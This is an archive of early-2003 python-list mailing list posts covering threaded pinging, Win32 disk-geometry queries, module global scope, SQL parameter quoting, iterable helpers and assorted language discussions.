"""Being Python newbie myself, also interested in multithreading,
I reworked slightly your code, adding (what I beleive) thread
safe output. Threads will die having depleated all assigned 
tasks after pushing results into passed Queue instance (or when 
run method ends). Your issue with idle is probably idle related, 
your code (and my mod too) runs just fine from command line. 

Quite amazing what Python can do in only few lines of code...

Branimir
"""

import threading, os, Queue, time

def showResponse(args):
    """Pretty prints passed tuple to stdout"""

    stdoutLi, ip, threadNo = args
    print 'Host   \t%s \nThread \t%s\n' % (ip, threadNo)

    for line in stdoutLi:
        line = line.strip()
        if not line: continue
        print '\t' + line
    print '='*72

class Pinger(threading.Thread):
    def __init__(self, address, queue, threadNo=None):
        self.__address = address
        self.__queue = queue
        self.__threadNo = threadNo
        threading.Thread.__init__(self)

    def run(self):
        pingCmd = "ping -n 1 -w 3000 " + self.__address
        childStdout = os.popen(pingCmd)
        result = (childStdout.readlines(), self.__address, self.__threadNo)
        childStdout.close()
        self.__queue.put(result)


if __name__ == '__main__':

    # watch dog timeout value (allow __main__ to run up to N seconds)
    wdt = 10.0

    # make list of hosts to ping
    hostLi = ["127.0.0.1", "66.218.71.83", "64.66.148.171"]
    # ping results go to the Queue's instance
    q = Queue.Queue()

    i = 0
    while i < len(hostLi):
        """Create and start all necessary threads, passing results
        out via thread safe Queue instance.

        It probably is a bad idea to start too many concurrent threads?
        """

        Pinger(hostLi[i], q, i+1).start()
        i +=1

    startT = time.time()

    while i > 0 and ((time.time() - startT) < wdt):
        """Loop ends when: 
                All responses to dispatched pings arrive,
                    OR
                Max allowed wait time is exceeded"""

        showResponse(q.get())
        i -= 1



From judoscript at hotmail.com  Sat Jan 11 01:27:53 2003
From: judoscript at hotmail.com (James Huang)
Date: 10 Jan 2003 22:27:53 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <mailman.1041979908.27085.python-list@python.org> <52719db8.0301071942.7d23cc46@posting.google.com> <ad496f8.0301100610.74586ad7@posting.google.com>
Message-ID: <52719db8.0301102227.109b7003@posting.google.com>

vvainio at tp.spt.fi (Ville Vainio) wrote in message news:<ad496f8.0301100610.74586ad7 at posting.google.com>...
> judoscript at hotmail.com (James Huang) wrote in message news:<52719db8.0301071942.7d23cc46 at posting.google.com>...
> 
> 
> > This is an example of scripting:
> > 
> >   sendMail
> >      from:  'me at here.com'
> >        to:  'a at b.com, b at c.com'
> >        cc:  'd at e.com'
> >   subject:  'test test'
> >    attach:  'bin.jar'
> >      body:  [[*
> >                 blah blah blah
> >                 blah blah
> >             *]]
> >  htmlBody:  [[*
> >                 <html><body><b>Blah</b> blah
> >                 </body></html>
> >             *]]
> 
> Yes, I found your example much more powerful, readable and
> outrageously different from the hypothetical
> 
> import highlevelmailmodule
> 
> highlevelmailmodule.sendmail(from='me at here.com',
>          to='you at there.com',
>                 ... etc
> 

Thank you! Thank you! Thank you!
It's amazing that someone on this list can actually say this.

> > I searched for a Python email example, found one at
> >    http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/67083
> > a peek will do. I wish I had explained better with examples, but ...
> 
> The conservative approach for cratching such an itch is to implement a
> higher lever library module, not to invent a new language, operating
> system or processor architecure.

Nobody would even think about inventing a new language just for that
sendMail statement. JudoScript's initial goals were: JDBC scripting,
EJB scripting and XML/SGML scripting. Once the foundation was ready,
it is naturally extended to other fields such as this one. And this
will carry on to more.

> 
> > I've heard big software projects done in Python, guess that's what you
> > are referring to. Being a C/C++/Java guy, it is hard for me to imagine
> > creating big software with weakly-typed languages beyond prototyping.
> 
> It is true that it's very easy to *imagine* creating big software with
> Java. However, it's easier to actually create that software in Python.

Thanks,
-James



From adalke at mindspring.com  Thu Jan  9 13:18:24 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 11:18:24 -0700
Subject: SOAP for Python
In-Reply-To: <avjkn1$2ql$1@news.unina.it>
References: <avjkn1$2ql$1@news.unina.it>
Message-ID: <avkerk$49$2@slb2.atl.mindspring.net>

Carmine Noviello wrote:
> a very simple question: what is the best SOAP 1.1 implementation for Python?

  From what I can tell, it's ZSI, available from sourceforge.net

					Andrew




From irmen at xs4all.nl  Sat Jan 18 14:05:38 2003
From: irmen at xs4all.nl (Irmen de Jong)
Date: Sat, 18 Jan 2003 20:05:38 +0100
Subject: Cookies module
In-Reply-To: <mailman.1042894713.21256.python-list@python.org>
References: <mailman.1042894713.21256.python-list@python.org>
Message-ID: <3E29A582.2000906@xs4all.nl>

A wrote:
> Hi all,
> Is there a cookie module that handles cookies on a client side and would work with httplib 
> module?

Yes, and its called........ (drumroll) .... ClientCookie!!

http://wwwsearch.sourceforge.net/ClientCookie/

Though I don't know if it works with httplib.. I'm using it with urllib.

irmen de jong




From peter at engcorp.com  Tue Jan 28 13:55:19 2003
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Jan 2003 13:55:19 -0500
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org> 
		<J8SdnelIA738BKujXTWcow@comcast.com> <mailman.1043776207.24843.python-list@python.org>
Message-ID: <3E36D217.45DA86CD@engcorp.com>

Mongryong wrote:
> 
> Could someone explain the purpose of a weblog?
> 
> How is it useful for one's website?

Google is still your friend:

  http://www.google.com/search?q=%22what+is+a+weblog%3F%22

-Peter



From db3l at fitlinxx.com  Thu Jan  2 11:21:50 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 02 Jan 2003 11:21:50 -0500
Subject: Python Win32 API question.
References: <6e07b825.0212311627.741bdfe5@posting.google.com>
Message-ID: <u8yy3a5ep.fsf@fitlinxx.com>

yaipa at yahoo.com (yaipa h.) writes:

> Finally, for the big points. Anyone belive that I will be able to use
> any of the 'IOCTL_*' enumerated values from the MFC toolkit with the 
> win32file.DeviceIoControl library method? It's looking more and more 
> like I will need to call a COM/DLL from my Python code to get this info. :((

Yes, you should be able to make the calls you want directly from
Python.  I agree however, that unless you have a development kit it
may be tricky to figure out what they are, since they are not built
into win32all.  In my case, I just reference the winioctl.h file from
my VC installation.  If you don't have some sort of developers kit, it
looks like other development environments like Cygwin (and probably
MingW) include this header as part of their win32 API collection, so
you can obtain it that way.

Using the functions themselves are as documented in MSDN -
DeviceIoControl is part of the Win32 core platform API, not MFC.  You
have to make sure that the buffer size you request in the
DeviceIoControl function matches the documented structure, and then
unpack the buffer manually based on that structure definition.  But
all of that information is available in MSDN.

> Thanks. An example IOCTL_ follows.
> 
> Yaipa.h
> 
> 'IOCTL_DISK_GET_DRIVE_GEOMETRY' Operation

Here's some example code using this particular call (note I've
hardcoded the IOCTL constant following interpretation of winioctl.h):

          - - - - - - - - - - - - - - - - - - - - - - - - -
import struct
import win32api
import win32file

if __name__ == "__main__":

    print 'Checking disk C:'

    info = win32api.GetVolumeInformation('c:\\')
    print 'Filesystem:', info[-1]

    hDisk = win32file.CreateFile(r'\\.\PhysicalDrive0',
                                 0,
                                 win32file.FILE_SHARE_READ|
                                 win32file.FILE_SHARE_WRITE,
                                 None,
                                 win32file.OPEN_EXISTING,
                                 0,
                                 None)

    IOCTL_DISK_GET_DRIVE_GEOMETRY=0x70000

    info = win32file.DeviceIoControl(hDisk,
                                     IOCTL_DISK_GET_DRIVE_GEOMETRY,
                                     '',24)

    # Values = (cylinders[high],cylinders[low],media_type,
    #           tracks_per_cylinder,sectors_per_track,bytes_per_sector)
    values = struct.unpack('6L',info)

    cylinders = (values[1]<<32)+values[0]
    size = cylinders * values[3] * values[4] * values[5]

    print 'Total disk space: %d (%dMB)' % (size,size/(1024*1024))
          - - - - - - - - - - - - - - - - - - - - - - - - -


--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From tim.one at comcast.net  Wed Jan 15 19:05:31 2003
From: tim.one at comcast.net (Tim Peters)
Date: Wed, 15 Jan 2003 19:05:31 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <b04oom$5u5$0@216.39.172.122>
Message-ID: <LNBBLJKPBEHFEDALKOLCMELEDIAB.tim.one@comcast.net>

>> figure-the-odds-ly y'rs  - tim

[Bengt Richter]
> Part of figuring would be trusting the current crew, a no-brainer.

Thanks -- this is the kind of blind trust we're counting on <wink>.

> Next I would wonder if the PSF is an entity whose assets
> can be transferred by sale or bankruptcy proceedings etc.
> Is there a poison-pill for any would-be asset-seizer?

A huge one:  the PSF has applied for "public charity" status under the US
Internal Revenue Service Code section 501(c)(3).  If such recognition is
granted (and until that's resolved, we-- and potential raiders --have to act
as if it has been granted), then, generally speaking, the assets of the PSF
beyond its legitimate business debts can be distributed only to another
public charity, or to a government.  This gives public charities in the US
strong protection against "nuisance suits" -- unless you're a public charity
too, you can't get anything out of it beyond legitimate damages.  Public
charities hold assets "in the public interest", and the public-interest
purpose is primary, surviving the death of the public charity that held
them.

> E.g., that might automatically convert to public domain,

Whether any entity in the US apart from the government can meaningfully put
something in the public domain appears to have the legal answer "no",
according to one US lawyer who researched the issue.  Businesses and
individuals supposedly can't disclaim copyright (the meaning of "public
domain" -- nobody holds copyright) even if they want to.

> or whatever freedom guarantees the legal types can think up?
>
> Not that I'm worried, but ... ;-)

The sun will rise tomorrow too, although I'm not an astronomer either.





From adalke at mindspring.com  Thu Jan  9 17:17:05 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 09 Jan 2003 15:17:05 -0700
Subject: invoking multiple methods (Was: Python vs. Ruby)
In-Reply-To: <mailman.1042149021.12451.python-list@python.org>
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net> <3E1CD82B.3E67E420@alcyone.com> <x7heciuxhp.fsf_-_@guru.mired.org> <mailman.1042149021.12451.python-list@python.org>
Message-ID: <avksr8$lm8$1@slb6.atl.mindspring.net>

Jack Diederich wrote:
> Some people seem to like lists, etc to return an lvalue and other
> people think it dilutes the language.  To borrow from another language
> would something like
> 
> import lvalues from pragma
> 
> be acceptable?

No because then it would be a dialect of Python and would make
others' code harder to understand and use.

> The return values that are currently None would then be self for all
> calls in that module.

I think you mean to say "currently have no explicit return value"

class Spam:
   def eggs(self, i):
       x = some.other.module()
       if i > 3:
         return x
       elif i == 3:
         return None

If i > 3 and x is None, this has an explicit return value, which
   happens to be None.
If i == 2, it has an explicit return value of None.
If i < 3, it has an implicit return value of None.

Oh, and so far None isn't a reserved word (will be in the future)
so I could have had 'None = 3'


Try to please all the people all the time and you end up pleasing
few.  In Guido we trust ;)

					Andrew
					dalke at dalkescientific.com




From dhostetler at sopris.net  Tue Jan  7 16:01:09 2003
From: dhostetler at sopris.net (.d.hos)
Date: 7 Jan 2003 13:01:09 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com> <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com> <TTKR9.79409$eq2.18907230@twister.nyroc.rr.com> <mailman.1041767229.6505.python-list@python.org> <8db020b9.0301061545.48785623@posting.google.com> <b11d1191.0301062010.2aa352cf@posting.google.com>
Message-ID: <8db020b9.0301071301.48472cf5@posting.google.com>

Branimir and everyone who contributed to this thread,

Thank you...for your patience and knowledge - you have pointed me in
the right direction.

Thanks again, .d.hos



From aleax at aleax.it  Thu Jan 30 10:19:30 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 15:19:30 GMT
Subject: Implicit lists
References: <m4di3v4koufdbf4e2pvsanegli2kqt48ch@4ax.com>
Message-ID: <6ob_9.104776$0v.3032021@news1.tin.it>

Dale Strickland-Clark wrote:

> In many places, often small utility functions, I find myself using the
> form:
> 
> lst = maybeAnArg
> if type(lst) not in (list, tuple)
>     lst = [lst]
> for x in lst:
>     whatever
> 
> or
> 
> lst = maybeAnArg
> if type(lst) not in (list, tuple)
>     lst = [lst]
> mangle = [x for x in lst if whatever]
> 
> 
> In other words, I want to be able to treat an argument of arbitrary
> type as a list of 1 if it isn't already a list.
> 
> Has anyone got a neater way of doing this?

Sure:

for x in aslist(list):
    whatever(x)


How aslist is written is obviously quite secondary (at least,
I _hope_ that's obvious...) -- all of its USES will be just as
neat as the above example.

If it turns out (as would seem to be the case) that what you
need is actually an iterator (since you want to treat tuples
as "lists", you ain't gonna be able to append, sort, &c
anyway) then I'd name the auxiliary function "iteron" or
something like that.  In my experience, what I generally
want is:
    treat strings, and all string-like objects, as non-sequences
    otherwise, iterate directly on sequences and other iterables
"other iterables" is debatable (files, dictionaries, ...) but
that's how I've generally found things work best -- easy enough
to tweak it to your liking otherwise.  So, for example:

def iteron(something):
    # string-like objects: treat as non-sequences
    try: something+''
    except TypeError: pass
    else:
        yield something
        return
    # other sequences
    try:
        for x in something: yield x
    except TypeError:
        yield something


Alex




From reageer.in at de.nieuwsgroep  Sat Jan 25 15:32:12 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Sat, 25 Jan 2003 21:32:12 +0100
Subject: beating a dead horse: automated form submission
References: <b0e655d.0301251204.5b7415e5@posting.google.com>
Message-ID: <p0t53vs6ja0jduh6aeai8nc49o3t8nb3h8@4ax.com>

Whit Whitfield:
>automate a form submission to work correctly. I am trying to mimic
>an end user and can communicate with the page via httplib, but cannot
>figure out how to actually submit the data.

"4.61. How can I mimic CGI form submission (METHOD=POST)?"
http://www.python.org/doc/FAQ.html#4.61

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From kowald at molgen.mpg.de  Fri Jan 10 05:13:06 2003
From: kowald at molgen.mpg.de (Axel Kowald)
Date: Fri, 10 Jan 2003 11:13:06 +0100
Subject: Java 20xfaster then Python !!??
Message-ID: <3E1E9CB2.6080001@molgen.mpg.de>

Hi everybody,

I just had a look at these very detailed benchmark tests, 
http://www.bagley.org/~doug/shootout/, and I was surprised to see that 
often java is 20 times faster than python !!

How can this be? Both languages interprete bytecode. Maybe because java 
has a JIT compiler ??
Is there any hope that python might become faster in future releases ?

Any ideas ?

              Axel Kowald




From spam at magnetic-ink.dk  Wed Jan 29 03:26:48 2003
From: spam at magnetic-ink.dk (Klaus Alexander Seistrup)
Date: Wed, 29 Jan 2003 08:26:48 +0000 (UTC)
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org> <0db0c51b-a544-4137-a111-160834f66e35@news.szn.dk> <4f499956-e037-4f04-a3c1-26a54482fda8@news.szn.dk>
Message-ID: <e2b0fbd5-d6c9-4581-963d-0102ad25a674@news.szn.dk>

I'd really like to see a weblog app like SnipSnap? written in Python
(even as a Zope product).  It has a builtin webserver and database
manager.  Its strength, IMO, is its seamless integration of weblog
and wiki pages.  Very neat.  If only it weren't written in Java.


  // Klaus

 ?) http://snipsnap.org/
-- 
 ><> 	vandag, m?re, altyd saam



From skip at pobox.com  Mon Jan 13 10:39:19 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 09:39:19 -0600
Subject: OT: spam filtering idea
In-Reply-To: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>
References: <7xr8bhhy0n.fsf@ruckus.brouhaha.com>
Message-ID: <15906.56743.378134.116@montanaro.dyndns.org>

    Paul> Feel free to crosspost replies to an anti-spam newsgroup; I don't
    Paul> know which one to use.

Paul,

You might check out <http://spambayes.sf.net/>.  The corresponding mailing
list is spambayes at python.org.

Skip





From bokr at oz.net  Wed Jan  8 13:54:37 2003
From: bokr at oz.net (Bengt Richter)
Date: 8 Jan 2003 18:54:37 GMT
Subject: global variable not seen (bug?)
References: <mailman.1042041138.4444.python-list@python.org>
Message-ID: <avhs5d$lel$0@216.39.172.122>

On Wed, 8 Jan 2003 16:51:01 +0100, Michal Vitecek <fuf at mageo.cz> wrote:

> hello everyone,
>
> i've encountered a strange problem with accessing a global variable
> from imported module. the imported module (file imported.py) contains:
> 
>---imported.py start---
> def someFunction():
>    global GLOBAL_VARIABLE
>
>    print GLOBAL_VARIABLE
>---imported.py end---
>
> and now the session copy:
>
>---session start---
>Python 2.2.1 (#4, Sep  4 2002, 13:43:54) 
>[GCC 2.95.3 20010315 (release)] on linux2
>Type "help", "copyright", "credits" or "license" for more information.
>>>> GLOBAL_VARIABLE = 'some value'
>>>> from imported import *
>>>> dir()
>['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
>>>> someFunction()
>Traceback (most recent call last):
>  File "<stdin>", line 1, in ?
>  File "imported.py", line 4, in someFunction
>    print GLOBAL_VARIABLE
>NameError: global name 'GLOBAL_VARIABLE' is not defined
>>>> 
>---session end---

The problem is that someFunction() was defined in imported.py
and the global declaration in that function refers to what's
global from there, namely the module scope of imported.py,
and GLOBAL_VARIABLE is not defined there.

Nor did it become defined _there_ when you interactively
typed
    GLOBAL_VARIABLE = 'some value'

because the module for interaction is  "__main__", not "imported".

Since you did a "from imported import *", you can't reach it's global
space by normal means, but if you just import it, you can then write

   imported.GLOBAL_VARIABLE = 'some other value'

Note what happens, starting out like you did:

 >>> GLOBAL_VARIABLE = 'some value'
 >>> from imported import *
 >>> dir()
 ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'someFunction']
 >>> someFunction()
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "imported.py", line 3, in someFunction
     print GLOBAL_VARIABLE
 NameError: global name 'GLOBAL_VARIABLE' is not defined

Ok, now we import normally, so we can access the module via its name
 >>> import imported
 >>> dir(imported)
 ['__builtins__', '__doc__', '__file__', '__name__', 'someFunction']

Note that there is no GLOBAL_VARIABLE in there, which is why the functin got NameError.

Now we'll set a value in that global space:
 >>> imported.GLOBAL_VARIABLE = 'some other value'

And try the function again:
 >>> someFunction()
 some other value

No NameError ;-)

Looking at the interactive namespace:
 >>> dir()
 ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__name__', 'imported', 'someFunction']

Looking in the module's namespace:
 >>> dir(imported)
 ['GLOBAL_VARIABLE', '__builtins__', '__doc__', '__file__', '__name__', 'someFunction']

They both have GLOBAL_VARIABLE bindings now.

 >>> GLOBAL_VARIABLE
 'some value'

 >>> imported.GLOBAL_VARIABLE
 'some other value' 

The 'global' declaration in the function does not reserve a space or bind the name globally,
it just says where to go when the name is encountered in the same scope. It is only needed
if you want to assign to a global from the function (without the declaration it merely
makes a local binding).

If you had had a GLOBAL_VARIABLE assignment in the "imported" module, you would have gotten
that variable printed, because the function would be looking in the module. But with the
"from imported import *" style of importing, you would get name binding in the interactive
space pointing the the GLOBAL_VARIABLE in the imported module, but you might get fooled again
if you tried to change the value with an unqualified name, since you would only be rebinding
the name in the interactive space, not the one in the module. Thus you could print the
new value interactvely, but the function would still access the binding in the module. We
can show that, continuing from above:

Looking at status quo:
 >>> GLOBAL_VARIABLE # the interactive one
 'some value'
 >>> someFunction()
 some other value

Set a new interactive value:
 >>> GLOBAL_VARIABLE = 'a new interactive value'

See if the function sees it:
 >>> someFunction()
 some other value
Nope.

Do we see it interactively?
 >>> GLOBAL_VARIABLE # the interactive one
 'a new interactive value'
Yep.

Regards,
Bengt Richter



From gerhard.haering at gmx.de  Sun Jan 26 04:53:07 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 26 Jan 2003 09:53:07 GMT
Subject: SQL null conversion
References: <mailman.1043252682.479.python-list@python.org>
Message-ID: <slrnb37c03.df8.gerhard.haering@lilith.my-fqdn.de>

Jeff Sacksteder wrote:
> I am moving/converting data from a production system to a data warehouse
> using python for the data transformation. I iterate through the result list
> building sql strings to do the inserts that then get sent to the destination
> connection. Occasionally I hit a row where a feild is null, returning
> 'None'. When I try to build a string containing 'None' I get an exception.
> What would be the best way to convert that to an empty string in the general
> case? 
> 
> ---snippet---
> 
> source_extract = "select foo,bar,baz from datatable"
> source.execute(source_extract)
> result_set = source.fetchall()
> 
> for row in result_set:
> 	# in reality, each feild here is being cleaned up in various ways-
> not shown for clarity
> 	insert_string = "insert into dest values (' " + row[0] + " ',' " +
> row[1] +" ',' " + row[3] +" ')"
> 	dest.execute(insert_string)

Aha. Your problem goes away if you use the DB-API way of quoting.
Let's suppose you're using a database module that uses '%s' as
placeholder (others like mxODBC use '?', Oracle adapters use named
paramters like ':p1', ':p2' - just check the docs of your module).

#v+
for row in result_set:
    ins_statement = "insert into dest values (%s)" % ", ".join(["%s"] * len(row))
    cursor.execute(ins_statement, row)
#v-

This uses cursor.execute with two parameters. If you've never seen
this, it's probably time to read the DB-API specification [1] ;-)

Gerhard

[1] http://www.python.org/peps/pep-0249.html
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From sjmachin at lexicon.net  Mon Jan 20 06:09:12 2003
From: sjmachin at lexicon.net (John Machin)
Date: 20 Jan 2003 03:09:12 -0800
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com>
Message-ID: <c76ff6fc.0301200309.4fc5d965@posting.google.com>

"Jimmie Fulton" <jimmie-dated-1043474834.7879b0 at illumid.com> wrote in message news:<pan.2003.01.20.06.24.23.588538 at illumid.com>...
> I'm unable to get any matches with re in a loop when the file I'm looping
> over is stdin.  When I use open(), it works fine.  Any hints?
> 
> Sample Non-working code...

This works for me. What version of Python are you using? What platform
[at least specify (*x / Mac / Windows)]? Are you piping into stdin or
are you typing?

I suggest that you insert this statement immediately after the "while
line:":
   print "'line' is", repr(line)
That way you can verify that you are actually getting input, and you
can see what the search() has to work on.

> pattern = re.compile(r"(\b[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\b)")

You don't need those square brackets, it will still work without them.

> Sample Working code...
> file = open('myfile','r')

Not a good trick on Python 2.2 (2.1??) or later; you have just nobbled
the built-in file() function.

Oh, and by the way, did you by some mischance actually have stdout
instead of stdin in your code??? sys.stdout.readline() returns ''
immediately and you would get the symptoms you describe.



From johnochiltree at blueyonder.co.uk  Thu Jan 30 00:23:37 2003
From: johnochiltree at blueyonder.co.uk (John Ochiltree)
Date: Thu, 30 Jan 2003 05:23:37 +0000
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <UgOZ9.314$XU5.188@news-binary.blueyonder.co.uk> <4V1_9.3850$wd2.304935@newsread2.prod.itd.earthlink.net>
Message-ID: <vF2_9.1077$7S2.519@news-binary.blueyonder.co.uk>

Brandon Van Every wrote:

> John Ochiltree wrote:
>>
>> The obvious difference between C++ and python is surface complexity.
> 
> I agree.  C++ is unnecessarily verbose and picky.
> 
>> Python allows you to 'see' the solution a lot faster; C++ - you have
>> to mentally filter out all the gumph that is not to do with the
>> solution.
> 
> I disagree.  90% of the time I do not use the verbose / picky stuff.  For
> the kinds of 3D graphics problems I usually tackle, it isn't going to make
> any difference whether the class methods are specified in Python or C++.
> 
> I do agree that when I *am* forced into the verbose / picky stuff that 10%
> of the time, I lose disproportionate amounts of time mastering yet-another
> language "feature" of C++.  Consequently, I Keep It Simple Stupid 90% of
> the
> time.  That's how you survive in a C++ world.  You either do things in a
> very simple and straightforward way, or you get paid a lot of money by
> someone else to deal with the headaches.
> 
>> For instance, if I apply a pattern (an architectural
>> feature) in either language I can see how the pattern supports the
>> solution faster and easier with Python than I can with C++.
> 
> For my particular case use, I do not believe in patterns.  I believe in
> mathematics.  I care about things like "SphereArc" or "Trigrid."  Not
> "Abstract Factory" or "Singleton/Letter."  I've got books on all that
> stuff, and for what I do, it's rubbish.
> 
>> I tend to
>> use python to prototype and explore possible solutions but if I need
>> optimisation I do a thorough up front design based on the prototype
>> but using C++.
> 
> I just code up an exceedingly minimal feature set in C++ to begin with.  I
> don't code things unless I absolutely know that I need them.  I have a
> RISC
> attitude towards coding, not a featuritis attitude.  I am exceedingly
> incremental and architectural about how I handle my own development.  I
> can
> do that because I'm the only one coding.  In a customer environment where
> I had to spew a lot of featuritis to please fools, I'd probably adopt
> different tactics.
> 
> In my game development, I forsee a time when I'll need a more flexible,
> experimental approach to coding.  But right now I'm building the
> structural
> foundation.  C++ is the correct tool for my jobs right now.
> 
> --
> Cheers,                         www.3DProgrammer.com
> Brandon Van Every               Seattle, WA
> 
> 20% of the world is real.
> 80% is gobbledygook we make up inside our own heads.
Why do you bother to use c++ as you obviously don't care about reuse. 
Patterns these days are essential to OO



From gerhard.haering at gmx.de  Sat Jan  4 09:48:31 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 4 Jan 2003 14:48:31 GMT
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au> <3E159693.28FEE9BC@alcyone.com> <pan.2003.01.04.01.01.52.354089@webone.com.au> <3E16C82D.4080509@web.de>
Message-ID: <slrnb1dt1u.iv.gerhard.haering@lilith.my-fqdn.de>

Dominic wrote:
> [...] Currently I make gvim behave somewhat more like an average editor 
> (Ctrl-S saves without leaving editing mode)
> [...] I think it is even possible to limit vim to editing mode so that it
> can be used like an average point-and-click editor.

'easyvim'? :)

If you really want to be surprised, check out 'cream'
(http://cream.sf.net/) It's an amazing setting of vim customizations
that make it a modelesss and polished editor, quite similar to SciTE
or UltraEdit.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From exarkun at intarweb.us  Thu Jan  2 15:29:09 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 2 Jan 2003 15:29:09 -0500
Subject: Downcast (I know it sounds silly, but ...)
In-Reply-To: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
References: <cX0R9.72667$Ou4.2409063@twister2.libero.it>
Message-ID: <20030102202909.GA24200@meson.dyndns.org>

On Thu, Jan 02, 2003 at 08:04:24PM +0000, Rocco Rossi wrote:
> I was wondering if it is possible in Python to do something analogous to
> downcasting in a statically typed language like C++. I mean is it possible
> to take an instance of a base class and magically transform it into an
> instance of some derived class eventually fixing things (like the missing
> attribute data)?

  Since you can't cast in Python, the short answer is no.  A different
answer might take the form of...

class Foo:
    def foo(self):
        print 'I am foo'

class Bar:
    def bar(self):
        print 'I am bar'

f = Foo()
f.foo()
f.__class__ = Bar
f.bar()

  Notice that Bar isn't even a subclass of Foo.  I'll refrain from pointing
out that downcasting an "object" in C++ to a class lower in the inheritance
hierarchy than it actually is is an error and only works because C++ is
weakly typed (because this isn't comp.lang.c++ ;)

  hoping-you-don't-do-this'ly yours,

     Jp

-- 
In the days when Sussman was a novice Minsky once came to him as he sat
hacking at the PDP-6. "What are you doing?" asked Minsky. "I am training a
randomly wired neural net to play Tic-Tac-Toe." "Why is the net wired
randomly?" asked Minsky. "I do not want it to have any preconceptions of how
to play." Minsky shut his eyes. "Why do you close your eyes?" Sussman asked
his teacher. "So the room will be empty." At that moment, Sussman was
enlightened.
 --
 12:00am up 17 days, 9:46, 3 users, load average: 0.70, 0.74, 0.79
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030102/84b70b7f/attachment.sig>

From reageer.in at de.nieuwsgroep  Sat Jan 25 17:56:46 2003
From: reageer.in at de.nieuwsgroep (Rene Pijlman)
Date: Sat, 25 Jan 2003 23:56:46 +0100
Subject: Translation table to map Latin-1 to ASCII?
Message-ID: <j8563v4r381meidikj14v1tjsobcfvijra@4ax.com>

Can anyone point me to a translation table for string.translate
to map Latin-1 (ISO 8859-1) to ASCII such that \"e maps to e
etc.?

Thanks a lot.

-- 
Ren? Pijlman

Wat wil jij leren?  http://www.leren.nl



From mwh at python.net  Wed Jan 15 11:27:29 2003
From: mwh at python.net (Michael Hudson)
Date: Wed, 15 Jan 2003 16:27:29 GMT
Subject: references / aliases in Python
References: <f57664b9.0301141544.1f797188@posting.google.com>
Message-ID: <7h3lm1mqsxa.fsf@pc150.maths.bris.ac.uk>

jbperez808 at yahoo.com (Jonathan P.) writes:

> But the idea of references did get through because I was 
> trying to do something similar.  I was wondering if there 
> was a way to get true references in Python ala below:
[schnipp]

Not really.

> Is there a way to get aliases without having to add a pointer 
> type + referencing / dereferencing operators to Python?  What
> exactly is the Python philosophy regarding pointer types and 
> referencing / dereferencing?

Have you read this:

    http://starship.python.net/crew/mwh/hacks/objectthink.html

?  It doesn't exactly answer your question, but after you've read it
you might not be able to remember why you asked :)

Cheers,
M.

-- 
  We did requirements and task analysis, iterative design, and user
  testing. You'd almost think programming languages were an interface
  between people and computers.                    -- Steven Pemberton
          (one of the designers of Python's direct ancestor ABC)



From johnroth at ameritech.net  Sun Jan 26 08:20:08 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 26 Jan 2003 08:20:08 -0500
Subject: 1-line idiom to replace if blocks
References: <3e2cf624@post.usenet.com> <c718a6cf.0301232005.326b8068@posting.google.com> <slrnb327s9.5jj.rmunn@localhost.localdomain> <mailman.1043443912.5414.python-list@python.org>
Message-ID: <v37o1s6bbvkt43@news.supernews.com>

"Chad Netzer" <cnetzer at mail.arc.nasa.gov> wrote in message
news:mailman.1043443912.5414.python-list at python.org...
> On Friday 24 January 2003 09:10, Robin Munn wrote:

